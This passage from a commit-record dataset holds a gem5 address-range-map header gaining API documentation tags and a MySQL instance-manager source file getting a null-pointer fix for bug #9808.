AddrRangeMap\n{\n  private:\n    typedef std::map<AddrRange, V> RangeMap;\n\n  public:\n    typedef typename RangeMap::iterator iterator;\n    typedef typename RangeMap::const_iterator const_iterator;\n\n    \/**\n     * Find entry that contains the given address range\n     *\n     * Searches through the ranges in the address map and returns an\n     * iterator to the entry which range is a superset of the input\n     * address range. Returns end() if none found.\n     *\n     * @param r An input address range\n     * @return An iterator that contains the input address range\n     *\/\n    const_iterator\n    contains(const AddrRange &r) const\n    {\n        return find(r, [r](const AddrRange r1) { return r.isSubset(r1); });\n    }\n    iterator\n    contains(const AddrRange &r)\n    {\n        return find(r, [r](const AddrRange r1) { return r.isSubset(r1); });\n    }\n\n    \/**\n     * Find entry that contains the given address\n     *\n     * Searches through the ranges in the address map and returns an\n     * iterator to the entry which range is a superset of the input\n     * address. Returns end() if none found.\n     *\n     * @param r An input address\n     * @return An iterator that contains the input address\n     *\/\n    const_iterator\n    contains(Addr r) const\n    {\n        return contains(RangeSize(r, 1));\n    }\n    iterator\n    contains(Addr r)\n    {\n        return contains(RangeSize(r, 1));\n    }\n\n    \/**\n     * Find entry that intersects with the given address range\n     *\n     * Searches through the ranges in the address map and returns an\n     * iterator to the first entry which range intersects with the\n     * input address.\n     *\n     * @param r An input address\n     * @return An iterator that intersects with the input address range\n     *\/\n    const_iterator\n    intersects(const AddrRange &r) const\n    {\n        return find(r, [r](const AddrRange r1) { return r.intersects(r1); });\n    }\n    iterator\n    intersects(const AddrRange &r)\n    {\n        return find(r, [r](const AddrRange r1) { return r.intersects(r1); });\n    }\n\n    iterator\n    insert(const AddrRange &r, const V& d)\n    {\n        if (intersects(r) != end())\n            return tree.end();\n\n        return tree.insert(std::make_pair(r, d)).first;\n    }\n\n    void\n    erase(iterator p)\n    {\n        cache.remove(p);\n        tree.erase(p);\n    }\n\n    void\n    erase(iterator p, iterator q)\n    {\n        for (auto it = p; it != q; it++) {\n            cache.remove(p);\n        }\n        tree.erase(p,q);\n    }\n\n    void\n    clear()\n    {\n        cache.erase(cache.begin(), cache.end());\n        tree.erase(tree.begin(), tree.end());\n    }\n\n    const_iterator\n    begin() const\n    {\n        return tree.begin();\n    }\n\n    iterator\n    begin()\n    {\n        return tree.begin();\n    }\n\n    const_iterator\n    end() const\n    {\n        return tree.end();\n    }\n\n    iterator\n    end()\n    {\n        return tree.end();\n    }\n\n    std::size_t\n    size() const\n    {\n        return tree.size();\n    }\n\n    bool\n    empty() const\n    {\n        return tree.empty();\n    }\n\n  private:\n    \/**\n     * Add an address range map entry to the cache.\n     *\n     * @param it Iterator to the entry in the address range map\n     *\/\n    void\n    addNewEntryToCache(iterator it) const\n    {\n        if (max_cache_size != 0) {\n            \/\/ If there's a cache, add this element to it.\n            if (cache.size() >= max_cache_size) {\n                \/\/ If the cache is full, move the last element to the\n                \/\/ front and overwrite it with the new value. This\n                \/\/ avoids creating or destroying elements of the list.\n                auto last = cache.end();\n                last--;\n                *last = it;\n                if (max_cache_size > 1)\n                    cache.splice(cache.begin(), cache, last);\n            } else {\n                cache.push_front(it);\n            }\n        }\n    }\n\n    \/**\n     * Find entry that satisfies a condition on an address range\n     *\n     * Searches through the ranges in the address map and returns an\n     * iterator to the entry that satisfies the input conidition on\n     * the input address range. Returns end() if none found.\n     *\n     * @param r An input address range\n     * @param f A condition on an address range\n     * @return An iterator that contains the input address range\n     *\/\n    iterator\n    find(const AddrRange &r, std::function<bool(const AddrRange)> cond)\n    {\n        \/\/ Check the cache first\n        for (auto c = cache.begin(); c != cache.end(); c++) {\n            auto it = *c;\n            if (cond(it->first)) {\n                \/\/ If this entry matches, promote it to the front\n                \/\/ of the cache and return it.\n                cache.splice(cache.begin(), cache, c);\n                return it;\n            }\n        }\n\n        iterator next = tree.upper_bound(r);\n        if (next != end() && cond(next->first)) {\n            addNewEntryToCache(next);\n            return next;\n        }\n        if (next == begin())\n            return end();\n        next--;\n\n        iterator i;\n        do {\n            i = next;\n            if (cond(i->first)) {\n                addNewEntryToCache(i);\n                return i;\n            }\n            \/\/ Keep looking if the next range merges with the current one.\n        } while (next != begin() &&\n                 (--next)->first.mergesWith(i->first));\n\n        return end();\n    }\n\n    const_iterator\n    find(const AddrRange &r, std::function<bool(const AddrRange)> cond) const\n    {\n        return const_cast<AddrRangeMap *>(this)->find(r, cond);\n    }\n\n    RangeMap tree;\n\n    \/**\n     * A list of iterator that correspond to the max_cache_size most\n     * recently used entries in the address range map. This mainly\n     * used to optimize lookups. The elements in the list should\n     * always be valid iterators of the tree.\n     *\/\n    mutable std::list<iterator> cache;\n};\n\n#endif \/\/__BASE_ADDR_RANGE_MAP_HH__\n<commit_msg>base: Tag API methods and variables in addr_range_map.hh<commit_after>\/*\n * Copyright (c) 2012, 2018 ARM Limited\n * All rights reserved\n *\n * The license below extends only to copyright in the software and shall\n * not be construed as granting a license to any other intellectual\n * property including but not limited to intellectual property relating\n * to a hardware implementation of the functionality of the software\n * licensed hereunder.  You may use the software subject to the license\n * terms below provided that you ensure that this notice is replicated\n * unmodified and in its entirety in all distributions of the software,\n * modified or unmodified, in source code or in binary form.\n *\n * Copyright (c) 2006 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef __BASE_ADDR_RANGE_MAP_HH__\n#define __BASE_ADDR_RANGE_MAP_HH__\n\n#include <cstddef>\n#include <functional>\n#include <list>\n#include <map>\n#include <utility>\n\n#include \"base\/addr_range.hh\"\n#include \"base\/types.hh\"\n\n\/**\n * The AddrRangeMap uses an STL map to implement an interval tree for\n * address decoding. The value stored is a template type and can be\n * e.g. a port identifier, or a pointer.\n *\/\ntemplate <typename V, int max_cache_size=0>\nclass AddrRangeMap\n{\n  private:\n    typedef std::map<AddrRange, V> RangeMap;\n\n  public:\n    \/**\n     * @ingroup api_addr_range\n     * @{\n     *\/\n    typedef typename RangeMap::iterator iterator;\n    typedef typename RangeMap::const_iterator const_iterator;\n    \/** @} *\/ \/\/ end of api_addr_range\n\n    \/**\n     * Find entry that contains the given address range\n     *\n     * Searches through the ranges in the address map and returns an\n     * iterator to the entry which range is a superset of the input\n     * address range. Returns end() if none found.\n     *\n     * @param r An input address range\n     * @return An iterator that contains the input address range\n     *\n     * @ingroup api_addr_range\n     * @{\n     *\/\n    const_iterator\n    contains(const AddrRange &r) const\n    {\n        return find(r, [r](const AddrRange r1) { return r.isSubset(r1); });\n    }\n    iterator\n    contains(const AddrRange &r)\n    {\n        return find(r, [r](const AddrRange r1) { return r.isSubset(r1); });\n    }\n    \/** @} *\/ \/\/ end of api_addr_range\n\n    \/**\n     * Find entry that contains the given address\n     *\n     * Searches through the ranges in the address map and returns an\n     * iterator to the entry which range is a superset of the input\n     * address. Returns end() if none found.\n     *\n     * @param r An input address\n     * @return An iterator that contains the input address\n     *\n     * @ingroup api_addr_range\n     * @{\n     *\/\n    const_iterator\n    contains(Addr r) const\n    {\n        return contains(RangeSize(r, 1));\n    }\n    iterator\n    contains(Addr r)\n    {\n        return contains(RangeSize(r, 1));\n    }\n    \/** @} *\/ \/\/ end of api_addr_range\n\n    \/**\n     * Find entry that intersects with the given address range\n     *\n     * Searches through the ranges in the address map and returns an\n     * iterator to the first entry which range intersects with the\n     * input address.\n     *\n     * @param r An input address\n     * @return An iterator that intersects with the input address range\n     *\n     * @ingroup api_addr_range\n     * @{\n     *\/\n    const_iterator\n    intersects(const AddrRange &r) const\n    {\n        return find(r, [r](const AddrRange r1) { return r.intersects(r1); });\n    }\n    iterator\n    intersects(const AddrRange &r)\n    {\n        return find(r, [r](const AddrRange r1) { return r.intersects(r1); });\n    }\n    \/** @} *\/ \/\/ end of api_addr_range\n\n    \/**\n     * @ingroup api_addr_range\n     *\/\n    iterator\n    insert(const AddrRange &r, const V& d)\n    {\n        if (intersects(r) != end())\n            return tree.end();\n\n        return tree.insert(std::make_pair(r, d)).first;\n    }\n\n    \/**\n     * @ingroup api_addr_range\n     *\/\n    void\n    erase(iterator p)\n    {\n        cache.remove(p);\n        tree.erase(p);\n    }\n\n    \/**\n     * @ingroup api_addr_range\n     *\/\n    void\n    erase(iterator p, iterator q)\n    {\n        for (auto it = p; it != q; it++) {\n            cache.remove(p);\n        }\n        tree.erase(p,q);\n    }\n\n    \/**\n     * @ingroup api_addr_range\n     *\/\n    void\n    clear()\n    {\n        cache.erase(cache.begin(), cache.end());\n        tree.erase(tree.begin(), tree.end());\n    }\n\n    \/**\n     * @ingroup api_addr_range\n     *\/\n    const_iterator\n    begin() const\n    {\n        return tree.begin();\n    }\n\n    \/**\n     * @ingroup api_addr_range\n     *\/\n    iterator\n    begin()\n    {\n        return tree.begin();\n    }\n\n    \/**\n     * @ingroup api_addr_range\n     *\/\n    const_iterator\n    end() const\n    {\n        return tree.end();\n    }\n\n    \/**\n     * @ingroup api_addr_range\n     *\/\n    iterator\n    end()\n    {\n        return tree.end();\n    }\n\n    \/**\n     * @ingroup api_addr_range\n     *\/\n    std::size_t\n    size() const\n    {\n        return tree.size();\n    }\n\n    \/**\n     * @ingroup api_addr_range\n     *\/\n    bool\n    empty() const\n    {\n        return tree.empty();\n    }\n\n  private:\n    \/**\n     * Add an address range map entry to the cache.\n     *\n     * @param it Iterator to the entry in the address range map\n     *\/\n    void\n    addNewEntryToCache(iterator it) const\n    {\n        if (max_cache_size != 0) {\n            \/\/ If there's a cache, add this element to it.\n            if (cache.size() >= max_cache_size) {\n                \/\/ If the cache is full, move the last element to the\n                \/\/ front and overwrite it with the new value. This\n                \/\/ avoids creating or destroying elements of the list.\n                auto last = cache.end();\n                last--;\n                *last = it;\n                if (max_cache_size > 1)\n                    cache.splice(cache.begin(), cache, last);\n            } else {\n                cache.push_front(it);\n            }\n        }\n    }\n\n    \/**\n     * Find entry that satisfies a condition on an address range\n     *\n     * Searches through the ranges in the address map and returns an\n     * iterator to the entry that satisfies the input conidition on\n     * the input address range. Returns end() if none found.\n     *\n     * @param r An input address range\n     * @param f A condition on an address range\n     * @return An iterator that contains the input address range\n     *\/\n    iterator\n    find(const AddrRange &r, std::function<bool(const AddrRange)> cond)\n    {\n        \/\/ Check the cache first\n        for (auto c = cache.begin(); c != cache.end(); c++) {\n            auto it = *c;\n            if (cond(it->first)) {\n                \/\/ If this entry matches, promote it to the front\n                \/\/ of the cache and return it.\n                cache.splice(cache.begin(), cache, c);\n                return it;\n            }\n        }\n\n        iterator next = tree.upper_bound(r);\n        if (next != end() && cond(next->first)) {\n            addNewEntryToCache(next);\n            return next;\n        }\n        if (next == begin())\n            return end();\n        next--;\n\n        iterator i;\n        do {\n            i = next;\n            if (cond(i->first)) {\n                addNewEntryToCache(i);\n                return i;\n            }\n            \/\/ Keep looking if the next range merges with the current one.\n        } while (next != begin() &&\n                 (--next)->first.mergesWith(i->first));\n\n        return end();\n    }\n\n    const_iterator\n    find(const AddrRange &r, std::function<bool(const AddrRange)> cond) const\n    {\n        return const_cast<AddrRangeMap *>(this)->find(r, cond);\n    }\n\n    RangeMap tree;\n\n    \/**\n     * A list of iterator that correspond to the max_cache_size most\n     * recently used entries in the address range map. This mainly\n     * used to optimize lookups. The elements in the list should\n     * always be valid iterators of the tree.\n     *\/\n    mutable std::list<iterator> cache;\n};\n\n#endif \/\/__BASE_ADDR_RANGE_MAP_HH__\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright (C) 2004 MySQL AB\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; either version 2 of the License, or\n   (at your option) any later version.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA *\/\n\n#include \"commands.h\"\n\n#include \"instance_map.h\"\n#include \"messages.h\"\n#include \"mysqld_error.h\"\n#include \"mysql_manager_error.h\"\n#include \"protocol.h\"\n#include \"buffer.h\"\n\n#include <m_string.h>\n#include <mysql.h>\n\n\n\/* implementation for Show_instances: *\/\n\n\n\/*\n  The method sends a list of instances in the instance map to the client.\n\n  SYNOPSYS\n    Show_instances::do_command()\n    net               The network connection to the client.\n\n  RETURN\n    0 - ok\n    1 - error occured\n*\/\n\nint Show_instances::do_command(struct st_net *net)\n{\n  Buffer send_buff;  \/* buffer for packets *\/\n  LIST name, status;\n  NAME_WITH_LENGTH name_field, status_field;\n  LIST *field_list;\n  uint position=0;\n\n  name_field.name= (char *) \"instance_name\";\n  name_field.length= 20;\n  name.data= &name_field;\n  status_field.name= (char *) \"status\";\n  status_field.length= 20;\n  status.data= &status_field;\n  field_list= list_add(NULL, &status);\n  field_list= list_add(field_list, &name);\n\n  send_fields(net, field_list);\n\n  {\n    Instance *instance;\n    Instance_map::Iterator iterator(instance_map);\n\n    instance_map->lock();\n    while ((instance= iterator.next()))\n    {\n      position= 0;\n      store_to_string(&send_buff, instance->options.instance_name, &position);\n      if (instance->is_running())\n        store_to_string(&send_buff, (char *) \"online\", &position);\n      else\n        store_to_string(&send_buff, (char *) \"offline\", &position);\n      if (my_net_write(net, send_buff.buffer, (uint) position))\n        goto err;\n    }\n    instance_map->unlock();\n  }\n  if (send_eof(net))\n    goto err;\n  if (net_flush(net))\n    goto err;\n\n  return 0;\nerr:\n  return 1;\n}\n\n\nint Show_instances::execute(struct st_net *net, ulong connection_id)\n{\n  if (do_command(net))\n    return ER_OUT_OF_RESOURCES;\n\n  return 0;\n}\n\n\n\/* implementation for Flush_instances: *\/\n\nint Flush_instances::execute(struct st_net *net, ulong connection_id)\n{\n  if (instance_map->flush_instances())\n    return ER_OUT_OF_RESOURCES;\n\n  net_send_ok(net, connection_id);\n  return 0;\n}\n\n\n\/* implementation for Show_instance_status: *\/\n\nShow_instance_status::Show_instance_status(Instance_map *instance_map_arg,\n                                           const char *name, uint len)\n  :Command(instance_map_arg)\n{\n  Instance *instance;\n\n  \/* we make a search here, since we don't want t store the name *\/\n  if ((instance= instance_map->find(name, len)))\n  {\n    instance_name= instance->options.instance_name;\n  }\n  else\n    instance_name= NULL;\n}\n\n\n\/*\n  The method sends a table with a status of requested instance to the client.\n\n  SYNOPSYS\n    Show_instance_status::do_command()\n    net               The network connection to the client.\n    instance_name     The name of the instance.\n\n  RETURN\n    0 - ok\n    1 - error occured\n*\/\n\n\nint Show_instance_status::do_command(struct st_net *net,\n                                     const char *instance_name)\n{\n  enum { MAX_VERSION_LENGTH= 40 };\n  Buffer send_buff;  \/* buffer for packets *\/\n  LIST name, status, version;\n  LIST *field_list;\n  NAME_WITH_LENGTH name_field, status_field, version_field;\n  uint position=0;\n\n  \/* create list of the fileds to be passed to send_fields *\/\n  name_field.name= (char *) \"instance_name\";\n  name_field.length= 20;\n  name.data= &name_field;\n  status_field.name= (char *) \"status\";\n  status_field.length= 20;\n  status.data= &status_field;\n  version_field.name= (char *) \"version\";\n  version_field.length= MAX_VERSION_LENGTH;\n  version.data= &version_field;\n  field_list= list_add(NULL, &version);\n  field_list= list_add(field_list, &status);\n  field_list= list_add(field_list, &name);\n\n  send_fields(net, field_list);\n\n  {\n    Instance *instance;\n\n    store_to_string(&send_buff, (char *) instance_name, &position);\n    if (!(instance= instance_map->find(instance_name, strlen(instance_name))))\n      goto err;\n    if (instance->is_running())\n    {\n      store_to_string(&send_buff, (char *) \"online\", &position);\n      store_to_string(&send_buff, \"unknown\", &position);\n    }\n    else\n    {\n      store_to_string(&send_buff, (char *) \"offline\", &position);\n      store_to_string(&send_buff, (char *) \"unknown\", &position);\n    }\n\n\n    if (send_buff.is_error() ||\n        my_net_write(net, send_buff.buffer, (uint) position))\n      goto err;\n  }\n\n  send_eof(net);\n  net_flush(net);\n\n  return 0;\n\nerr:\n  return 1;\n}\n\n\nint Show_instance_status::execute(struct st_net *net, ulong connection_id)\n{\n  if ((instance_name))\n  {\n    if (do_command(net, instance_name))\n      return ER_OUT_OF_RESOURCES;\n    return 0;\n  }\n  else\n  {\n    return ER_BAD_INSTANCE_NAME;\n  }\n}\n\n\n\/* Implementation for Show_instance_options *\/\n\nShow_instance_options::Show_instance_options(Instance_map *instance_map_arg,\n                                             const char *name, uint len):\n  Command(instance_map_arg)\n{\n  Instance *instance;\n\n  \/* we make a search here, since we don't want t store the name *\/\n  if ((instance= instance_map->find(name, len)))\n  {\n    instance_name= instance->options.instance_name;\n  }\n  else\n    instance_name= NULL;\n}\n\n\nint Show_instance_options::do_command(struct st_net *net,\n                                      const char *instance_name)\n{\n  enum { MAX_VERSION_LENGTH= 40 };\n  Buffer send_buff;  \/* buffer for packets *\/\n  LIST name, option;\n  LIST *field_list;\n  NAME_WITH_LENGTH name_field, option_field;\n  uint position=0;\n\n  \/* create list of the fileds to be passed to send_fields *\/\n  name_field.name= (char *) \"option_name\";\n  name_field.length= 20;\n  name.data= &name_field;\n  option_field.name= (char *) \"value\";\n  option_field.length= 20;\n  option.data= &option_field;\n  field_list= list_add(NULL, &option);\n  field_list= list_add(field_list, &name);\n\n  send_fields(net, field_list);\n\n  {\n    Instance *instance;\n\n    if (!(instance= instance_map->find(instance_name, strlen(instance_name))))\n      goto err;\n    store_to_string(&send_buff, (char *) \"instance_name\", &position);\n    store_to_string(&send_buff, (char *) instance_name, &position);\n    if (my_net_write(net, send_buff.buffer, (uint) position))\n      goto err;\n    if ((instance->options.mysqld_path))\n    {\n      position= 0;\n      store_to_string(&send_buff, (char *) \"mysqld-path\", &position);\n      store_to_string(&send_buff,\n                     (char *) instance->options.mysqld_path,\n                     &position);\n      if (send_buff.is_error() ||\n          my_net_write(net, send_buff.buffer, (uint) position))\n        goto err;\n    }\n\n    if ((instance->options.nonguarded))\n    {\n      position= 0;\n      store_to_string(&send_buff, (char *) \"nonguarded\", &position);\n      store_to_string(&send_buff, \"\", &position);\n      if (send_buff.is_error() ||\n          my_net_write(net, send_buff.buffer, (uint) position))\n        goto err;\n    }\n\n    \/* loop through the options stored in DYNAMIC_ARRAY *\/\n    for (uint i= 0; i < instance->options.options_array.elements; i++)\n    {\n      char *tmp_option, *option_value;\n      get_dynamic(&(instance->options.options_array), (gptr) &tmp_option, i);\n      option_value= strchr(tmp_option, '=');\n      \/* split the option string into two parts *\/\n      *option_value= 0;\n      position= 0;\n      store_to_string(&send_buff, tmp_option + 2, &position);\n      store_to_string(&send_buff, option_value + 1, &position);\n      \/* join name and the value into the same option again *\/\n      *option_value= '=';\n      if (send_buff.is_error() ||\n          my_net_write(net, send_buff.buffer, (uint) position))\n        goto err;\n    }\n  }\n\n  send_eof(net);\n  net_flush(net);\n\n  return 0;\n\nerr:\n  return 1;\n}\n\n\nint Show_instance_options::execute(struct st_net *net, ulong connection_id)\n{\n  if ((instance_name))\n  {\n    if (do_command(net, instance_name))\n      return ER_OUT_OF_RESOURCES;\n    return 0;\n  }\n  else\n  {\n    return ER_BAD_INSTANCE_NAME;\n  }\n}\n\n\n\/* Implementation for Start_instance *\/\n\nStart_instance::Start_instance(Instance_map *instance_map_arg,\n                               const char *name, uint len)\n  :Command(instance_map_arg)\n{\n  \/* we make a search here, since we don't want t store the name *\/\n  if ((instance= instance_map->find(name, len)))\n    instance_name= instance->options.instance_name;\n}\n\n\nint Start_instance::execute(struct st_net *net, ulong connection_id)\n{\n  uint err_code;\n  if (instance == 0)\n  {\n    return ER_BAD_INSTANCE_NAME; \/* haven't found an instance *\/\n  }\n  else\n  {\n    if ((err_code= instance->start()))\n      return err_code;\n\n    if (!(instance->options.nonguarded))\n        instance_map->guardian->guard(instance);\n\n    net_send_ok(net, connection_id);\n    return 0;\n  }\n}\n\n\n\/* Implementation for Stop_instance: *\/\n\nStop_instance::Stop_instance(Instance_map *instance_map_arg,\n                               const char *name, uint len)\n  :Command(instance_map_arg)\n{\n  \/* we make a search here, since we don't want t store the name *\/\n  if ((instance= instance_map->find(name, len)))\n    instance_name= instance->options.instance_name;\n}\n\n\nint Stop_instance::execute(struct st_net *net, ulong connection_id)\n{\n  uint err_code;\n\n  if (instance == 0)\n  {\n    return ER_BAD_INSTANCE_NAME; \/* haven't found an instance *\/\n  }\n  else\n  {\n    if (!(instance->options.nonguarded))\n        instance_map->guardian->\n               stop_guard(instance);\n    if ((err_code= instance->stop()))\n      return err_code;\n    net_send_ok(net, connection_id);\n    return 0;\n  }\n}\n\n\nint Syntax_error::execute(struct st_net *net, ulong connection_id)\n{\n  return ER_SYNTAX_ERROR;\n}\n<commit_msg>Fix for bug #9808<commit_after>\/* Copyright (C) 2004 MySQL AB\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; either version 2 of the License, or\n   (at your option) any later version.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA *\/\n\n#include \"commands.h\"\n\n#include \"instance_map.h\"\n#include \"messages.h\"\n#include \"mysqld_error.h\"\n#include \"mysql_manager_error.h\"\n#include \"protocol.h\"\n#include \"buffer.h\"\n\n#include <m_string.h>\n#include <mysql.h>\n\n\n\/* implementation for Show_instances: *\/\n\n\n\/*\n  The method sends a list of instances in the instance map to the client.\n\n  SYNOPSYS\n    Show_instances::do_command()\n    net               The network connection to the client.\n\n  RETURN\n    0 - ok\n    1 - error occured\n*\/\n\nint Show_instances::do_command(struct st_net *net)\n{\n  Buffer send_buff;  \/* buffer for packets *\/\n  LIST name, status;\n  NAME_WITH_LENGTH name_field, status_field;\n  LIST *field_list;\n  uint position=0;\n\n  name_field.name= (char *) \"instance_name\";\n  name_field.length= 20;\n  name.data= &name_field;\n  status_field.name= (char *) \"status\";\n  status_field.length= 20;\n  status.data= &status_field;\n  field_list= list_add(NULL, &status);\n  field_list= list_add(field_list, &name);\n\n  send_fields(net, field_list);\n\n  {\n    Instance *instance;\n    Instance_map::Iterator iterator(instance_map);\n\n    instance_map->lock();\n    while ((instance= iterator.next()))\n    {\n      position= 0;\n      store_to_string(&send_buff, instance->options.instance_name, &position);\n      if (instance->is_running())\n        store_to_string(&send_buff, (char *) \"online\", &position);\n      else\n        store_to_string(&send_buff, (char *) \"offline\", &position);\n      if (my_net_write(net, send_buff.buffer, (uint) position))\n        goto err;\n    }\n    instance_map->unlock();\n  }\n  if (send_eof(net))\n    goto err;\n  if (net_flush(net))\n    goto err;\n\n  return 0;\nerr:\n  return 1;\n}\n\n\nint Show_instances::execute(struct st_net *net, ulong connection_id)\n{\n  if (do_command(net))\n    return ER_OUT_OF_RESOURCES;\n\n  return 0;\n}\n\n\n\/* implementation for Flush_instances: *\/\n\nint Flush_instances::execute(struct st_net *net, ulong connection_id)\n{\n  if (instance_map->flush_instances())\n    return ER_OUT_OF_RESOURCES;\n\n  net_send_ok(net, connection_id);\n  return 0;\n}\n\n\n\/* implementation for Show_instance_status: *\/\n\nShow_instance_status::Show_instance_status(Instance_map *instance_map_arg,\n                                           const char *name, uint len)\n  :Command(instance_map_arg)\n{\n  Instance *instance;\n\n  \/* we make a search here, since we don't want t store the name *\/\n  if ((instance= instance_map->find(name, len)))\n  {\n    instance_name= instance->options.instance_name;\n  }\n  else\n    instance_name= NULL;\n}\n\n\n\/*\n  The method sends a table with a status of requested instance to the client.\n\n  SYNOPSYS\n    Show_instance_status::do_command()\n    net               The network connection to the client.\n    instance_name     The name of the instance.\n\n  RETURN\n    0 - ok\n    1 - error occured\n*\/\n\n\nint Show_instance_status::do_command(struct st_net *net,\n                                     const char *instance_name)\n{\n  enum { MAX_VERSION_LENGTH= 40 };\n  Buffer send_buff;  \/* buffer for packets *\/\n  LIST name, status, version;\n  LIST *field_list;\n  NAME_WITH_LENGTH name_field, status_field, version_field;\n  uint position=0;\n\n  \/* create list of the fileds to be passed to send_fields *\/\n  name_field.name= (char *) \"instance_name\";\n  name_field.length= 20;\n  name.data= &name_field;\n  status_field.name= (char *) \"status\";\n  status_field.length= 20;\n  status.data= &status_field;\n  version_field.name= (char *) \"version\";\n  version_field.length= MAX_VERSION_LENGTH;\n  version.data= &version_field;\n  field_list= list_add(NULL, &version);\n  field_list= list_add(field_list, &status);\n  field_list= list_add(field_list, &name);\n\n  send_fields(net, field_list);\n\n  {\n    Instance *instance;\n\n    store_to_string(&send_buff, (char *) instance_name, &position);\n    if (!(instance= instance_map->find(instance_name, strlen(instance_name))))\n      goto err;\n    if (instance->is_running())\n    {\n      store_to_string(&send_buff, (char *) \"online\", &position);\n      store_to_string(&send_buff, \"unknown\", &position);\n    }\n    else\n    {\n      store_to_string(&send_buff, (char *) \"offline\", &position);\n      store_to_string(&send_buff, (char *) \"unknown\", &position);\n    }\n\n\n    if (send_buff.is_error() ||\n        my_net_write(net, send_buff.buffer, (uint) position))\n      goto err;\n  }\n\n  send_eof(net);\n  net_flush(net);\n\n  return 0;\n\nerr:\n  return 1;\n}\n\n\nint Show_instance_status::execute(struct st_net *net, ulong connection_id)\n{\n  if ((instance_name))\n  {\n    if (do_command(net, instance_name))\n      return ER_OUT_OF_RESOURCES;\n    return 0;\n  }\n  else\n  {\n    return ER_BAD_INSTANCE_NAME;\n  }\n}\n\n\n\/* Implementation for Show_instance_options *\/\n\nShow_instance_options::Show_instance_options(Instance_map *instance_map_arg,\n                                             const char *name, uint len):\n  Command(instance_map_arg)\n{\n  Instance *instance;\n\n  \/* we make a search here, since we don't want t store the name *\/\n  if ((instance= instance_map->find(name, len)))\n  {\n    instance_name= instance->options.instance_name;\n  }\n  else\n    instance_name= NULL;\n}\n\n\nint Show_instance_options::do_command(struct st_net *net,\n                                      const char *instance_name)\n{\n  enum { MAX_VERSION_LENGTH= 40 };\n  Buffer send_buff;  \/* buffer for packets *\/\n  LIST name, option;\n  LIST *field_list;\n  NAME_WITH_LENGTH name_field, option_field;\n  uint position=0;\n\n  \/* create list of the fileds to be passed to send_fields *\/\n  name_field.name= (char *) \"option_name\";\n  name_field.length= 20;\n  name.data= &name_field;\n  option_field.name= (char *) \"value\";\n  option_field.length= 20;\n  option.data= &option_field;\n  field_list= list_add(NULL, &option);\n  field_list= list_add(field_list, &name);\n\n  send_fields(net, field_list);\n\n  {\n    Instance *instance;\n\n    if (!(instance= instance_map->find(instance_name, strlen(instance_name))))\n      goto err;\n    store_to_string(&send_buff, (char *) \"instance_name\", &position);\n    store_to_string(&send_buff, (char *) instance_name, &position);\n    if (my_net_write(net, send_buff.buffer, (uint) position))\n      goto err;\n    if ((instance->options.mysqld_path))\n    {\n      position= 0;\n      store_to_string(&send_buff, (char *) \"mysqld-path\", &position);\n      store_to_string(&send_buff,\n                     (char *) instance->options.mysqld_path,\n                     &position);\n      if (send_buff.is_error() ||\n          my_net_write(net, send_buff.buffer, (uint) position))\n        goto err;\n    }\n\n    if ((instance->options.nonguarded))\n    {\n      position= 0;\n      store_to_string(&send_buff, (char *) \"nonguarded\", &position);\n      store_to_string(&send_buff, \"\", &position);\n      if (send_buff.is_error() ||\n          my_net_write(net, send_buff.buffer, (uint) position))\n        goto err;\n    }\n\n    \/* loop through the options stored in DYNAMIC_ARRAY *\/\n    for (uint i= 0; i < instance->options.options_array.elements; i++)\n    {\n      char *tmp_option, *option_value;\n      get_dynamic(&(instance->options.options_array), (gptr) &tmp_option, i);\n      option_value= strchr(tmp_option, '=');\n      \/* split the option string into two parts if it has a value *\/\n\n      position= 0;\n      if (option_value != NULL)\n      {\n        *option_value= 0;\n        store_to_string(&send_buff, tmp_option + 2, &position);\n        store_to_string(&send_buff, option_value + 1, &position);\n        \/* join name and the value into the same option again *\/\n        *option_value= '=';\n      }\n      else store_to_string(&send_buff, tmp_option + 2, &position);\n\n      if (send_buff.is_error() ||\n          my_net_write(net, send_buff.buffer, (uint) position))\n        goto err;\n    }\n  }\n\n  send_eof(net);\n  net_flush(net);\n\n  return 0;\n\nerr:\n  return 1;\n}\n\n\nint Show_instance_options::execute(struct st_net *net, ulong connection_id)\n{\n  if ((instance_name))\n  {\n    if 